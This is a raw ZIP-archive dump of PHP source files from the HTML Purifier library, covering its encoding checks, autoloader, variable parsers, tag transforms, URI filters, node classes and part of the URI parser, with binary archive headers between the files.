return $result;
}
/** No bugs detected in iconv. */
const ICONV_OK = 0;
/** Iconv truncates output if converting from UTF-8 to another
* character set with //IGNORE, and a non-encodable character is found */
const ICONV_TRUNCATES = 1;
/** Iconv does not support //IGNORE, making it unusable for
* transcoding purposes */
const ICONV_UNUSABLE = 2;
/**
* glibc iconv has a known bug where it doesn't handle the magic
* //IGNORE stanza correctly. In particular, rather than ignore
* characters, it will return an EILSEQ after consuming some number
* of characters, and expect you to restart iconv as if it were
* an E2BIG. Old versions of PHP did not respect the errno, and
* returned the fragment, so as a result you would see iconv
* mysteriously truncating output. We can work around this by
* manually chopping our input into segments of about 8000
* characters, as long as PHP ignores the error code. If PHP starts
* paying attention to the error code, iconv becomes unusable.
*
* @return int Error code indicating severity of bug.
*/
public static function testIconvTruncateBug()
{
static $code = null;
if ($code === null) {
// better not use iconv, otherwise infinite loop!
$r = self::unsafeIconv('utf-8', 'ascii//IGNORE', "\xCE\xB1" . str_repeat('a', 9000));
if ($r === false) {
$code = self::ICONV_UNUSABLE;
} elseif (($c = strlen($r)) < 9000) {
$code = self::ICONV_TRUNCATES;
} elseif ($c > 9000) {
trigger_error(
'Your copy of iconv is extremely buggy. Please notify HTML Purifier maintainers: ' .
'include your iconv version as per phpversion()',
E_USER_ERROR
);
} else {
$code = self::ICONV_OK;
}
}
return $code;
}
/**
* This expensive function tests whether or not a given character
* encoding supports ASCII. 7/8-bit encodings like Shift_JIS will
* fail this test, and require special processing. Variable width
* encodings shouldn't ever fail.
*
* @param string $encoding Encoding name to test, as per iconv format
* @param bool $bypass Whether or not to bypass the precompiled arrays.
* @return Array of UTF-8 characters to their corresponding ASCII,
* which can be used to "undo" any overzealous iconv action.
*/
public static function testEncodingSupportsASCII($encoding, $bypass = false)
{
// All calls to iconv here are unsafe, proof by case analysis:
// If ICONV_OK, no difference.
// If ICONV_TRUNCATE, all calls involve one character inputs,
// so bug is not triggered.
// If ICONV_UNUSABLE, this call is irrelevant
static $encodings = array();
if (!$bypass) {
if (isset($encodings[$encoding])) {
return $encodings[$encoding];
}
$lenc = strtolower($encoding);
switch ($lenc) {
case 'shift_jis':
return array("\xC2\xA5" => '\\', "\xE2\x80\xBE" => '~');
case 'johab':
return array("\xE2\x82\xA9" => '\\');
}
if (strpos($lenc, 'iso-8859-') === 0) {
return array();
}
}
$ret = array();
if (self::unsafeIconv('UTF-8', $encoding, 'a') === false) {
return false;
}
for ($i = 0x20; $i <= 0x7E; $i++) { // all printable ASCII chars
$c = chr($i); // UTF-8 char
$r = self::unsafeIconv('UTF-8', "$encoding//IGNORE", $c); // initial conversion
if ($r === '' ||
// This line is needed for iconv implementations that do not
// omit characters that do not exist in the target character set
($r === $c && self::unsafeIconv($encoding, 'UTF-8//IGNORE', $r) !== $c)
) {
// Reverse engineer: what's the UTF-8 equiv of this byte
// sequence? This assumes that there's no variable width
// encoding that doesn't support ASCII.
$ret[self::unsafeIconv($encoding, 'UTF-8//IGNORE', $c)] = $c;
}
}
$encodings[$encoding] = $ret;
return $ret;
}
}
// vim: et sw=4 sts=4
PK j�$Z��� / htmlpurifier/library/HTMLPurifier/Bootstrap.phpnu �[��� <?php
// constants are slow, so we use as few as possible
if (!defined('HTMLPURIFIER_PREFIX')) {
define('HTMLPURIFIER_PREFIX', realpath(dirname(__FILE__) . '/..'));
}
// accomodations for versions earlier than 5.0.2
// borrowed from PHP_Compat, LGPL licensed, by Aidan Lister <aidan@php.net>
if (!defined('PHP_EOL')) {
switch (strtoupper(substr(PHP_OS, 0, 3))) {
case 'WIN':
define('PHP_EOL', "\r\n");
break;
case 'DAR':
define('PHP_EOL', "\r");
break;
default:
define('PHP_EOL', "\n");
}
}
/**
* Bootstrap class that contains meta-functionality for HTML Purifier such as
* the autoload function.
*
* @note
* This class may be used without any other files from HTML Purifier.
*/
class HTMLPurifier_Bootstrap
{
/**
* Autoload function for HTML Purifier
* @param string $class Class to load
* @return bool
*/
public static function autoload($class)
{
$file = HTMLPurifier_Bootstrap::getPath($class);
if (!$file) {
return false;
}
// Technically speaking, it should be ok and more efficient to
// just do 'require', but Antonio Parraga reports that with
// Zend extensions such as Zend debugger and APC, this invariant
// may be broken. Since we have efficient alternatives, pay
// the cost here and avoid the bug.
require_once HTMLPURIFIER_PREFIX . '/' . $file;
return true;
}
/**
* Returns the path for a specific class.
* @param string $class Class path to get
* @return string
*/
public static function getPath($class)
{
if (strncmp('HTMLPurifier', $class, 12) !== 0) {
return false;
}
// Custom implementations
if (strncmp('HTMLPurifier_Language_', $class, 22) === 0) {
$code = str_replace('_', '-', substr($class, 22));
$file = 'HTMLPurifier/Language/classes/' . $code . '.php';
} else {
$file = str_replace('_', '/', $class) . '.php';
}
if (!file_exists(HTMLPURIFIER_PREFIX . '/' . $file)) {
return false;
}
return $file;
}
/**
* "Pre-registers" our autoloader on the SPL stack.
*/
public static function registerAutoload()
{
$autoload = array('HTMLPurifier_Bootstrap', 'autoload');
if (($funcs = spl_autoload_functions()) === false) {
spl_autoload_register($autoload);
} elseif (function_exists('spl_autoload_unregister')) {
if (version_compare(PHP_VERSION, '5.3.0', '>=')) {
// prepend flag exists, no need for shenanigans
spl_autoload_register($autoload, true, true);
} else {
$buggy = version_compare(PHP_VERSION, '5.2.11', '<');
$compat = version_compare(PHP_VERSION, '5.1.2', '<=') &&
version_compare(PHP_VERSION, '5.1.0', '>=');
foreach ($funcs as $func) {
if ($buggy && is_array($func)) {
// :TRICKY: There are some compatibility issues and some
// places where we need to error out
$reflector = new ReflectionMethod($func[0], $func[1]);
if (!$reflector->isStatic()) {
throw new Exception(
'HTML Purifier autoloader registrar is not compatible
with non-static object methods due to PHP Bug #44144;
Please do not use HTMLPurifier.autoload.php (or any
file that includes this file); instead, place the code:
spl_autoload_register(array(\'HTMLPurifier_Bootstrap\', \'autoload\'))
after your own autoloaders.'
);
}
// Suprisingly, spl_autoload_register supports the
// Class::staticMethod callback format, although call_user_func doesn't
if ($compat) {
$func = implode('::', $func);
}
}
spl_autoload_unregister($func);
}
spl_autoload_register($autoload);
foreach ($funcs as $func) {
spl_autoload_register($func);
}
}
}
}
}
// vim: et sw=4 sts=4
PK j�$Z�>��� � 6 htmlpurifier/library/HTMLPurifier/VarParser/Native.phpnu �[��� <?php
/**
* This variable parser uses PHP's internal code engine. Because it does
* this, it can represent all inputs; however, it is dangerous and cannot
* be used by users.
*/
class HTMLPurifier_VarParser_Native extends HTMLPurifier_VarParser
{
/**
* @param mixed $var
* @param int $type
* @param bool $allow_null
* @return null|string
*/
protected function parseImplementation($var, $type, $allow_null)
{
return $this->evalExpression($var);
}
/**
* @param string $expr
* @return mixed
* @throws HTMLPurifier_VarParserException
*/
protected function evalExpression($expr)
{
$var = null;
$result = eval("\$var = $expr;");
if ($result === false) {
throw new HTMLPurifier_VarParserException("Fatal error in evaluated code");
}
return $var;
}
}
// vim: et sw=4 sts=4
PK j�$Zt�?� � 8 htmlpurifier/library/HTMLPurifier/VarParser/Flexible.phpnu �[��� <?php
/**
* Performs safe variable parsing based on types which can be used by
* users. This may not be able to represent all possible data inputs,
* however.
*/
class HTMLPurifier_VarParser_Flexible extends HTMLPurifier_VarParser
{
/**
* @param mixed $var
* @param int $type
* @param bool $allow_null
* @return array|bool|float|int|mixed|null|string
* @throws HTMLPurifier_VarParserException
*/
protected function parseImplementation($var, $type, $allow_null)
{
if ($allow_null && $var === null) {
return null;
}
switch ($type) {
// Note: if code "breaks" from the switch, it triggers a generic
// exception to be thrown. Specific errors can be specifically
// done here.
case self::C_MIXED:
case self::ISTRING:
case self::C_STRING:
case self::TEXT:
case self::ITEXT:
return $var;
case self::C_INT:
if (is_string($var) && ctype_digit($var)) {
$var = (int)$var;
}
return $var;
case self::C_FLOAT:
if ((is_string($var) && is_numeric($var)) || is_int($var)) {
$var = (float)$var;
}
return $var;
case self::C_BOOL:
if (is_int($var) && ($var === 0 || $var === 1)) {
$var = (bool)$var;
} elseif (is_string($var)) {
if ($var == 'on' || $var == 'true' || $var == '1') {
$var = true;
} elseif ($var == 'off' || $var == 'false' || $var == '0') {
$var = false;
} else {
throw new HTMLPurifier_VarParserException("Unrecognized value '$var' for $type");
}
}
return $var;
case self::ALIST:
case self::HASH:
case self::LOOKUP:
if (is_string($var)) {
// special case: technically, this is an array with
// a single empty string item, but having an empty
// array is more intuitive
if ($var == '') {
return array();
}
if (strpos($var, "\n") === false && strpos($var, "\r") === false) {
// simplistic string to array method that only works
// for simple lists of tag names or alphanumeric characters
$var = explode(',', $var);
} else {
$var = preg_split('/(,|[\n\r]+)/', $var);
}
// remove spaces
foreach ($var as $i => $j) {
$var[$i] = trim($j);
}
if ($type === self::HASH) {
// key:value,key2:value2
$nvar = array();
foreach ($var as $keypair) {
$c = explode(':', $keypair, 2);
if (!isset($c[1])) {
continue;
}
$nvar[trim($c[0])] = trim($c[1]);
}
$var = $nvar;
}
}
if (!is_array($var)) {
break;
}
$keys = array_keys($var);
if ($keys === array_keys($keys)) {
if ($type == self::ALIST) {
return $var;
} elseif ($type == self::LOOKUP) {
$new = array();
foreach ($var as $key) {
$new[$key] = true;
}
return $new;
} else {
break;
}
}
if ($type === self::ALIST) {
trigger_error("Array list did not have consecutive integer indexes", E_USER_WARNING);
return array_values($var);
}
if ($type === self::LOOKUP) {
foreach ($var as $key => $value) {
if ($value !== true) {
trigger_error(
"Lookup array has non-true value at key '$key'; " .
"maybe your input array was not indexed numerically",
E_USER_WARNING
);
}
$var[$key] = true;
}
}
return $var;
default:
$this->errorInconsistent(__CLASS__, $type);
}
$this->errorGeneric($var, $type);
}
}
// vim: et sw=4 sts=4
PK j�$Z�!赖 � 9 htmlpurifier/library/HTMLPurifier/TagTransform/Simple.phpnu �[��� <?php
/**
* Simple transformation, just change tag name to something else,
* and possibly add some styling. This will cover most of the deprecated
* tag cases.
*/
class HTMLPurifier_TagTransform_Simple extends HTMLPurifier_TagTransform
{
/**
* @type string
*/
protected $style;
/**
* @param string $transform_to Tag name to transform to.
* @param string $style CSS style to add to the tag
*/
public function __construct($transform_to, $style = null)
{
$this->transform_to = $transform_to;
$this->style = $style;
}
/**
* @param HTMLPurifier_Token_Tag $tag
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return string
*/
public function transform($tag, $config, $context)
{
$new_tag = clone $tag;
$new_tag->name = $this->transform_to;
if (!is_null($this->style) &&
($new_tag instanceof HTMLPurifier_Token_Start || $new_tag instanceof HTMLPurifier_Token_Empty)
) {
$this->prependCSS($new_tag->attr, $this->style);
}
return $new_tag;
}
}
// vim: et sw=4 sts=4
PK j�$Z�r� +
+
7 htmlpurifier/library/HTMLPurifier/TagTransform/Font.phpnu �[��� <?php
/**
* Transforms FONT tags to the proper form (SPAN with CSS styling)
*
* This transformation takes the three proprietary attributes of FONT and
* transforms them into their corresponding CSS attributes. These are color,
* face, and size.
*
* @note Size is an interesting case because it doesn't map cleanly to CSS.
* Thanks to
* http://style.cleverchimp.com/font_size_intervals/altintervals.html
* for reasonable mappings.
* @warning This doesn't work completely correctly; specifically, this
* TagTransform operates before well-formedness is enforced, so
* the "active formatting elements" algorithm doesn't get applied.
*/
class HTMLPurifier_TagTransform_Font extends HTMLPurifier_TagTransform
{
/**
* @type string
*/
public $transform_to = 'span';
/**
* @type array
*/
protected $_size_lookup = array(
'0' => 'xx-small',
'1' => 'xx-small',
'2' => 'small',
'3' => 'medium',
'4' => 'large',
'5' => 'x-large',
'6' => 'xx-large',
'7' => '300%',
'-1' => 'smaller',
'-2' => '60%',
'+1' => 'larger',
'+2' => '150%',
'+3' => '200%',
'+4' => '300%'
);
/**
* @param HTMLPurifier_Token_Tag $tag
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return HTMLPurifier_Token_End|string
*/
public function transform($tag, $config, $context)
{
if ($tag instanceof HTMLPurifier_Token_End) {
$new_tag = clone $tag;
$new_tag->name = $this->transform_to;
return $new_tag;
}
$attr = $tag->attr;
$prepend_style = '';
// handle color transform
if (isset($attr['color'])) {
$prepend_style .= 'color:' . $attr['color'] . ';';
unset($attr['color']);
}
// handle face transform
if (isset($attr['face'])) {
$prepend_style .= 'font-family:' . $attr['face'] . ';';
unset($attr['face']);
}
// handle size transform
if (isset($attr['size'])) {
// normalize large numbers
if ($attr['size'] !== '') {
if ($attr['size'][0] == '+' || $attr['size'][0] == '-') {
$size = (int)$attr['size'];
if ($size < -2) {
$attr['size'] = '-2';
}
if ($size > 4) {
$attr['size'] = '+4';
}
} else {
$size = (int)$attr['size'];
if ($size > 7) {
$attr['size'] = '7';
}
}
}
if (isset($this->_size_lookup[$attr['size']])) {
$prepend_style .= 'font-size:' .
$this->_size_lookup[$attr['size']] . ';';
}
unset($attr['size']);
}
if ($prepend_style) {
$attr['style'] = isset($attr['style']) ?
$prepend_style . $attr['style'] :
$prepend_style;
}
$new_tag = clone $tag;
$new_tag->name = $this->transform_to;
$new_tag->attr = $attr;
return $new_tag;
}
}
// vim: et sw=4 sts=4
PK j�$Z�림� � @ htmlpurifier/library/HTMLPurifier/URIFilter/DisableResources.phpnu �[��� <?php
class HTMLPurifier_URIFilter_DisableResources extends HTMLPurifier_URIFilter
{
/**
* @type string
*/
public $name = 'DisableResources';
/**
* @param HTMLPurifier_URI $uri
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function filter(&$uri, $config, $context)
{
return !$context->get('EmbeddedURI', true);
}
}
// vim: et sw=4 sts=4
PK j�$Zd��sC C 5 htmlpurifier/library/HTMLPurifier/URIFilter/Munge.phpnu �[��� <?php
class HTMLPurifier_URIFilter_Munge extends HTMLPurifier_URIFilter
{
/**
* @type string
*/
public $name = 'Munge';
/**
* @type bool
*/
public $post = true;
/**
* @type string
*/
private $target;
/**
* @type HTMLPurifier_URIParser
*/
private $parser;
/**
* @type bool
*/
private $doEmbed;
/**
* @type string
*/
private $secretKey;
/**
* @type array
*/
protected $replace = array();
/**
* @param HTMLPurifier_Config $config
* @return bool
*/
public function prepare($config)
{
$this->target = $config->get('URI.' . $this->name);
$this->parser = new HTMLPurifier_URIParser();
$this->doEmbed = $config->get('URI.MungeResources');
$this->secretKey = $config->get('URI.MungeSecretKey');
if ($this->secretKey && !function_exists('hash_hmac')) {
throw new Exception("Cannot use %URI.MungeSecretKey without hash_hmac support.");
}
return true;
}
/**
* @param HTMLPurifier_URI $uri
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function filter(&$uri, $config, $context)
{
if ($context->get('EmbeddedURI', true) && !$this->doEmbed) {
return true;
}
$scheme_obj = $uri->getSchemeObj($config, $context);
if (!$scheme_obj) {
return true;
} // ignore unknown schemes, maybe another postfilter did it
if (!$scheme_obj->browsable) {
return true;
} // ignore non-browseable schemes, since we can't munge those in a reasonable way
if ($uri->isBenign($config, $context)) {
return true;
} // don't redirect if a benign URL
$this->makeReplace($uri, $config, $context);
$this->replace = array_map('rawurlencode', $this->replace);
$new_uri = strtr($this->target, $this->replace);
$new_uri = $this->parser->parse($new_uri);
// don't redirect if the target host is the same as the
// starting host
if ($uri->host === $new_uri->host) {
return true;
}
$uri = $new_uri; // overwrite
return true;
}
/**
* @param HTMLPurifier_URI $uri
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
*/
protected function makeReplace($uri, $config, $context)
{
$string = $uri->toString();
// always available
$this->replace['%s'] = $string;
$this->replace['%r'] = $context->get('EmbeddedURI', true);
$token = $context->get('CurrentToken', true);
$this->replace['%n'] = $token ? $token->name : null;
$this->replace['%m'] = $context->get('CurrentAttr', true);
$this->replace['%p'] = $context->get('CurrentCSSProperty', true);
// not always available
if ($this->secretKey) {
$this->replace['%t'] = hash_hmac("sha256", $string, $this->secretKey);
}
}
}
// vim: et sw=4 sts=4
PK j�$Z� �� ? htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternal.phpnu �[��� <?php
class HTMLPurifier_URIFilter_DisableExternal extends HTMLPurifier_URIFilter
{
/**
* @type string
*/
public $name = 'DisableExternal';
/**
* @type array
*/
protected $ourHostParts = false;
/**
* @param HTMLPurifier_Config $config
* @return void
*/
public function prepare($config)
{
$our_host = $config->getDefinition('URI')->host;
if ($our_host !== null) {
$this->ourHostParts = array_reverse(explode('.', $our_host));
}
}
/**
* @param HTMLPurifier_URI $uri Reference
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function filter(&$uri, $config, $context)
{
if (is_null($uri->host)) {
return true;
}
if ($this->ourHostParts === false) {
return false;
}
$host_parts = array_reverse(explode('.', $uri->host));
foreach ($this->ourHostParts as $i => $x) {
if (!isset($host_parts[$i])) {
return false;
}
if ($host_parts[$i] != $this->ourHostParts[$i]) {
return false;
}
}
return true;
}
}
// vim: et sw=4 sts=4
PK j�$Z�G��H H H htmlpurifier/library/HTMLPurifier/URIFilter/DisableExternalResources.phpnu �[��� <?php
class HTMLPurifier_URIFilter_DisableExternalResources extends HTMLPurifier_URIFilter_DisableExternal
{
/**
* @type string
*/
public $name = 'DisableExternalResources';
/**
* @param HTMLPurifier_URI $uri
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function filter(&$uri, $config, $context)
{
if (!$context->get('EmbeddedURI', true)) {
return true;
}
return parent::filter($uri, $config, $context);
}
}
// vim: et sw=4 sts=4
PK j�$ZzᲲ � : htmlpurifier/library/HTMLPurifier/URIFilter/SafeIframe.phpnu �[��� <?php
/**
* Implements safety checks for safe iframes.
*
* @warning This filter is *critical* for ensuring that %HTML.SafeIframe
* works safely.
*/
class HTMLPurifier_URIFilter_SafeIframe extends HTMLPurifier_URIFilter
{
/**
* @type string
*/
public $name = 'SafeIframe';
/**
* @type bool
*/
public $always_load = true;
/**
* @type string
*/
protected $regexp = null;
// XXX: The not so good bit about how this is all set up now is we
// can't check HTML.SafeIframe in the 'prepare' step: we have to
// defer till the actual filtering.
/**
* @param HTMLPurifier_Config $config
* @return bool
*/
public function prepare($config)
{
$this->regexp = $config->get('URI.SafeIframeRegexp');
return true;
}
/**
* @param HTMLPurifier_URI $uri
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function filter(&$uri, $config, $context)
{
// check if filter not applicable
if (!$config->get('HTML.SafeIframe')) {
return true;
}
// check if the filter should actually trigger
if (!$context->get('EmbeddedURI', true)) {
return true;
}
$token = $context->get('CurrentToken', true);
if (!($token && $token->name == 'iframe')) {
return true;
}
// check if we actually have some whitelists enabled
if ($this->regexp === null) {
return false;
}
// actually check the whitelists
return preg_match($this->regexp, $uri->toString());
}
}
// vim: et sw=4 sts=4
PK j�$Z$��a a < htmlpurifier/library/HTMLPurifier/URIFilter/MakeAbsolute.phpnu �[��� <?php
// does not support network paths
class HTMLPurifier_URIFilter_MakeAbsolute extends HTMLPurifier_URIFilter
{
/**
* @type string
*/
public $name = 'MakeAbsolute';
/**
* @type
*/
protected $base;
/**
* @type array
*/
protected $basePathStack = array();
/**
* @param HTMLPurifier_Config $config
* @return bool
*/
public function prepare($config)
{
$def = $config->getDefinition('URI');
$this->base = $def->base;
if (is_null($this->base)) {
trigger_error(
'URI.MakeAbsolute is being ignored due to lack of ' .
'value for URI.Base configuration',
E_USER_WARNING
);
return false;
}
$this->base->fragment = null; // fragment is invalid for base URI
$stack = explode('/', $this->base->path);
array_pop($stack); // discard last segment
$stack = $this->_collapseStack($stack); // do pre-parsing
$this->basePathStack = $stack;
return true;
}
/**
* @param HTMLPurifier_URI $uri
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function filter(&$uri, $config, $context)
{
if (is_null($this->base)) {
return true;
} // abort early
if ($uri->path === '' && is_null($uri->scheme) &&
is_null($uri->host) && is_null($uri->query) && is_null($uri->fragment)) {
// reference to current document
$uri = clone $this->base;
return true;
}
if (!is_null($uri->scheme)) {
// absolute URI already: don't change
if (!is_null($uri->host)) {
return true;
}
$scheme_obj = $uri->getSchemeObj($config, $context);
if (!$scheme_obj) {
// scheme not recognized
return false;
}
if (!$scheme_obj->hierarchical) {
// non-hierarchal URI with explicit scheme, don't change
return true;
}
// special case: had a scheme but always is hierarchical and had no authority
}
if (!is_null($uri->host)) {
// network path, don't bother
return true;
}
if ($uri->path === '') {
$uri->path = $this->base->path;
} elseif ($uri->path[0] !== '/') {
// relative path, needs more complicated processing
$stack = explode('/', $uri->path);
$new_stack = array_merge($this->basePathStack, $stack);
if ($new_stack[0] !== '' && !is_null($this->base->host)) {
array_unshift($new_stack, '');
}
$new_stack = $this->_collapseStack($new_stack);
$uri->path = implode('/', $new_stack);
} else {
// absolute path, but still we should collapse
$uri->path = implode('/', $this->_collapseStack(explode('/', $uri->path)));
}
// re-combine
$uri->scheme = $this->base->scheme;
if (is_null($uri->userinfo)) {
$uri->userinfo = $this->base->userinfo;
}
if (is_null($uri->host)) {
$uri->host = $this->base->host;
}
if (is_null($uri->port)) {
$uri->port = $this->base->port;
}
return true;
}
/**
* Resolve dots and double-dots in a path stack
* @param array $stack
* @return array
*/
private function _collapseStack($stack)
{
$result = array();
$is_folder = false;
for ($i = 0; isset($stack[$i]); $i++) {
$is_folder = false;
// absorb an internally duplicated slash
if ($stack[$i] == '' && $i && isset($stack[$i + 1])) {
continue;
}
if ($stack[$i] == '..') {
if (!empty($result)) {
$segment = array_pop($result);
if ($segment === '' && empty($result)) {
// error case: attempted to back out too far:
// restore the leading slash
$result[] = '';
} elseif ($segment === '..') {
$result[] = '..'; // cannot remove .. with ..
}
} else {
// relative path, preserve the double-dots
$result[] = '..';
}
$is_folder = true;
continue;
}
if ($stack[$i] == '.') {
// silently absorb
$is_folder = true;
continue;
}
$result[] = $stack[$i];
}
if ($is_folder) {
$result[] = '';
}
return $result;
}
}
// vim: et sw=4 sts=4
PK j�$Znr?� � = htmlpurifier/library/HTMLPurifier/URIFilter/HostBlacklist.phpnu �[��� <?php
// It's not clear to me whether or not Punycode means that hostnames
// do not have canonical forms anymore. As far as I can tell, it's
// not a problem (punycoding should be identity when no Unicode
// points are involved), but I'm not 100% sure
class HTMLPurifier_URIFilter_HostBlacklist extends HTMLPurifier_URIFilter
{
/**
* @type string
*/
public $name = 'HostBlacklist';
/**
* @type array
*/
protected $blacklist = array();
/**
* @param HTMLPurifier_Config $config
* @return bool
*/
public function prepare($config)
{
$this->blacklist = $config->get('URI.HostBlacklist');
return true;
}
/**
* @param HTMLPurifier_URI $uri
* @param HTMLPurifier_Config $config
* @param HTMLPurifier_Context $context
* @return bool
*/
public function filter(&$uri, $config, $context)
{
foreach ($this->blacklist as $blacklisted_host_fragment) {
if (strpos($uri->host, $blacklisted_host_fragment) !== false) {
return false;
}
}
return true;
}
}
// vim: et sw=4 sts=4
PK j�$Z$<4� � 3 htmlpurifier/library/HTMLPurifier/AttrTransform.phpnu �[��� <?php
/**
* Processes an entire attribute array for corrections needing multiple values.
*
* Occasionally, a certain attribute will need to be removed and popped onto
* another value. Instead of creating a complex return syntax for
* HTMLPurifier_AttrDef, we just pass the whole attribute array to a
* specialized object and have that do the special work. That is the
* family of HTMLPurifier_AttrTransform.
*
* An attribute transformation can be assigned to run before or after
* HTMLPurifier_AttrDef validation. See HTMLPurifier_HTMLDefinition for
* more details.
*/
abstract class HTMLPurifier_AttrTransform
{
/**
* Abstract: makes changes to the attributes dependent on multiple values.
*
* @param array $attr Assoc array of attributes, usually from
* HTMLPurifier_Token_Tag::$attr
* @param HTMLPurifier_Config $config Mandatory HTMLPurifier_Config object.
* @param HTMLPurifier_Context $context Mandatory HTMLPurifier_Context object
* @return array Processed attribute array.
*/
abstract public function transform($attr, $config, $context);
/**
* Prepends CSS properties to the style attribute, creating the
* attribute if it doesn't exist.
* @param array &$attr Attribute array to process (passed by reference)
* @param string $css CSS to prepend
*/
public function prependCSS(&$attr, $css)
{
$attr['style'] = isset($attr['style']) ? $attr['style'] : '';
$attr['style'] = $css . $attr['style'];
}
/**
* Retrieves and removes an attribute
* @param array &$attr Attribute array to process (passed by reference)
* @param mixed $key Key of attribute to confiscate
* @return mixed
*/
public function confiscateAttr(&$attr, $key)
{
if (!isset($attr[$key])) {
return null;
}
$value = $attr[$key];
unset($attr[$key]);
return $value;
}
}
// vim: et sw=4 sts=4
PK j�$ZR�)�� � 2 htmlpurifier/library/HTMLPurifier/EntityLookup.phpnu �[��� <?php
/**
* Object that provides entity lookup table from entity name to character
*/
class HTMLPurifier_EntityLookup
{
/**
* Assoc array of entity name to character represented.
* @type array
*/
public $table;
/**
* Sets up the entity lookup table from the serialized file contents.
* @param bool $file
* @note The serialized contents are versioned, but were generated
* using the maintenance script generate_entity_file.php
* @warning This is not in constructor to help enforce the Singleton
*/
public function setup($file = false)
{
if (!$file) {
$file = HTMLPURIFIER_PREFIX . '/HTMLPurifier/EntityLookup/entities.ser';
}
$this->table = unserialize(file_get_contents($file));
}
/**
* Retrieves sole instance of the object.
* @param bool|HTMLPurifier_EntityLookup $prototype Optional prototype of custom lookup table to overload with.
* @return HTMLPurifier_EntityLookup
*/
public static function instance($prototype = false)
{
// no references, since PHP doesn't copy unless modified
static $instance = null;
if ($prototype) {
$instance = $prototype;
} elseif (!$instance) {
$instance = new HTMLPurifier_EntityLookup();
$instance->setup();
}
return $instance;
}
}
// vim: et sw=4 sts=4
PK j�$Zͮ�hd d / htmlpurifier/library/HTMLPurifier/Node/Text.phpnu �[��� <?php
/**
* Concrete text token class.
*
* Text tokens comprise of regular parsed character data (PCDATA) and raw
* character data (from the CDATA sections). Internally, their
* data is parsed with all entities expanded. Surprisingly, the text token
* does have a "tag name" called #PCDATA, which is how the DTD represents it
* in permissible child nodes.
*/
class HTMLPurifier_Node_Text extends HTMLPurifier_Node
{
/**
* PCDATA tag name compatible with DTD, see
* HTMLPurifier_ChildDef_Custom for details.
* @type string
*/
public $name = '#PCDATA';
/**
* @type string
*/
public $data;
/**< Parsed character data of text. */
/**
* @type bool
*/
public $is_whitespace;
/**< Bool indicating if node is whitespace. */
/**
* Constructor, accepts data and determines if it is whitespace.
* @param string $data String parsed character data.
* @param int $line
* @param int $col
*/
public function __construct($data, $is_whitespace, $line = null, $col = null)
{
$this->data = $data;
$this->is_whitespace = $is_whitespace;
$this->line = $line;
$this->col = $col;
}
public function toTokenPair() {
return array(new HTMLPurifier_Token_Text($this->data, $this->line, $this->col), null);
}
}
// vim: et sw=4 sts=4
PK j�$Zg�ɑ� � 2 htmlpurifier/library/HTMLPurifier/Node/Element.phpnu �[��� <?php
/**
* Concrete element node class.
*/
class HTMLPurifier_Node_Element extends HTMLPurifier_Node
{
/**
* The lower-case name of the tag, like 'a', 'b' or 'blockquote'.
*
* @note Strictly speaking, XML tags are case sensitive, so we shouldn't
* be lower-casing them, but these tokens cater to HTML tags, which are
* insensitive.
* @type string
*/
public $name;
/**
* Associative array of the node's attributes.
* @type array
*/
public $attr = array();
/**
* List of child elements.
* @type array
*/
public $children = array();
/**
* Does this use the <a></a> form or the </a> form, i.e.
* is it a pair of start/end tokens or an empty token.
* @bool
*/
public $empty = false;
public $endCol = null, $endLine = null, $endArmor = array();
public function __construct($name, $attr = array(), $line = null, $col = null, $armor = array()) {
$this->name = $name;
$this->attr = $attr;
$this->line = $line;
$this->col = $col;
$this->armor = $armor;
}
public function toTokenPair() {
// XXX inefficiency here, normalization is not necessary
if ($this->empty) {
return array(new HTMLPurifier_Token_Empty($this->name, $this->attr, $this->line, $this->col, $this->armor), null);
} else {
$start = new HTMLPurifier_Token_Start($this->name, $this->attr, $this->line, $this->col, $this->armor);
$end = new HTMLPurifier_Token_End($this->name, array(), $this->endLine, $this->endCol, $this->endArmor);
//$end->start = $start;
return array($start, $end);
}
}
}
PK j�$Z�Ǵ�� � 2 htmlpurifier/library/HTMLPurifier/Node/Comment.phpnu �[��� <?php
/**
* Concrete comment node class.
*/
class HTMLPurifier_Node_Comment extends HTMLPurifier_Node
{
/**
* Character data within comment.
* @type string
*/
public $data;
/**
* @type bool
*/
public $is_whitespace = true;
/**
* Transparent constructor.
*
* @param string $data String comment data.
* @param int $line
* @param int $col
*/
public function __construct($data, $line = null, $col = null)
{
$this->data = $data;
$this->line = $line;
$this->col = $col;
}
public function toTokenPair() {
return array(new HTMLPurifier_Token_Comment($this->data, $this->line, $this->col), null);
}
}
PK j�$Z�9�� � / htmlpurifier/library/HTMLPurifier/URIParser.phpnu �[��� <?php
/**
* Parses a URI into the components and fragment identifier as specified
* by RFC 3986.
*/
class HTMLPurifier_URIParser
{
/**
* Instance of HTMLPurifier_PercentEncoder to do normalization with.
*/
protected $percentEncoder;
public function __construct()
{
$this->percentEncoder = new HTMLPurifier_PercentEncoder();
}
/**
* Parses a URI.
* @param $uri string URI to parse
* @return HTMLPurifier_URI representation of URI. This representation has
* not been validated yet and may not conform to RFC.
*/
public function parse($uri)
{
$uri = $this->percentEncoder->normalize($uri);
// Regexp is as per Appendix B.
// Note that ["<>] are an addition to the RFC's recommended
// characters, because they represent external delimeters.
$r_URI = '!'.
'(([a-zA-Z0-9\.\+\-]+):)?'. // 2. Scheme
'(//([^/?#"<>]*))?'. // 4. Authority
'([^?#"<>]*)'. // 5. Path
'(\?([^#"<>]*))?'. // 7. Query
'(#([^"<>]*))?'. // 8. Fragment
'!';
$matches = array();
$result = preg_match($r_URI, $uri, $matches);
if (!$result) return false; // *really* invalid URI
// seperate out parts
$scheme = !empty($matches[1]) ? $matches[2] : null;
$authority = !empty($matches[3]) ? $matches[4] : null;
$path = $matches[5]; // always present, can be empty
$query = !empty($matches[6]) ? $matches[7] : null;
$fragment = !empty($matches[8]) ? $matches[9] : null;
// further parse authority
if ($authority !== null) {
